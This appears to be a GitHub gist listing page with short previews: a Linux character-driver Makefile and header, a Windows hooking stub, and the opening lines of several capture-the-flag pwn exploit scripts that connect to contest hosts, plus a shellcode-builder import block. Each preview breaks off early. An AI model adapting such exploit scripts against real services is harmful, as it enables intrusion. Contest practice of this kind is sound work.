Skip to content

Instantly share code, notes, and snippets.

View Makefile_simple_driver
obj-m+=ebbchar.o
all:
make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) modules
$(CC) testebbchar.c -o test
clean:
make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) clean
rm test
View simple_driver.c
/**
* @file ebbchar.c
* @author Derek Molloy
* @date 7 April 2015
* @version 0.1
* @brief An introductory character driver to support the second article of my series on
* Linux loadable kernel module (LKM) development. This module maps to /dev/ebbchar and
* comes with a helper C program that can be run in Linux user space to communicate with
* this the LKM.
* @see http://www.derekmolloy.ie/ for a full description and follow-up descriptions.
View windows_lfh.cpp
// SimpleHooking.cpp : Defines the entry point for the console application.
// Author : peternguyen
#include "stdafx.h"
#include <string>
#include <iostream>
#include <stdlib.h>
using namespace std;
View merge_string_pwn100_grandprix2016.py
from Pwn import *
p = Pwn(elf='./merge_str',host='bakpwn06.grandprix.whitehatvn.com',port=23506)
def exploit():
p.connect()
p.read_until(':')
p.sendline('A'*50)
p.read_until(':')
View pwn300_com_tam_grandprix2016.py
from Pwn import *
import re
# p = Pwn(elf='./pwn004')
p = Pwn(elf='./pwn004',host='bakpwn04.grandprix.whitehatvn.com',port=23504)
def play_game(money,locky_number):
p.read_until('>')
p.sendint(1)
p.read_until('>')
View note_pwn500_grandprix_2016.py
#Pwn 500 WhitehatGrangrix 2016
from Pwn import *
# p = Pwn(elf='./note')
p = Pwn(elf='./note',host='118.70.186.203',port=23501)
key_1 = [
0xd49f6a35,0xa8733e09,0x7c4712dd,0x501be6b1,
0x24efba85,0xf8c38e59,0xcc97622d,0xa06b3601,
0x743f0ad5,0x4813dea9,0x1ce7b27d,0xf0bb8651,
View castle.py
from Pwn import *
import re
p = Pwn(elf='./castle')
# p = Pwn(elf='./castle',host='castle.svattt.org',port=31330)
def go_up_set_key(user_key):
p.read_until('\xF0\x9F\x94\xA5')
p.sendline('w')
View shellingfolder.py
from Pwn import *
p = Pwn(mode=1,host='52.69.237.212',port=4869)
def make_folder(folder_name):
p.read_until('Your choice:')
p.sendint(3)
p.read_until('Name of Folder:')
p.sendline(folder_name)
View secret_holder.py
from Pwn import *
p = Pwn(
elf='SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8',
host='52.68.31.117',
port=5566
)
# p = Pwn(
# elf='SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8'
# )
View shellcode_maker.py
from keystone import *
from capstone import *
from unicorn import *
from unicorn.x86_const import *
from struct import *
from termcolor import *
import os
import sys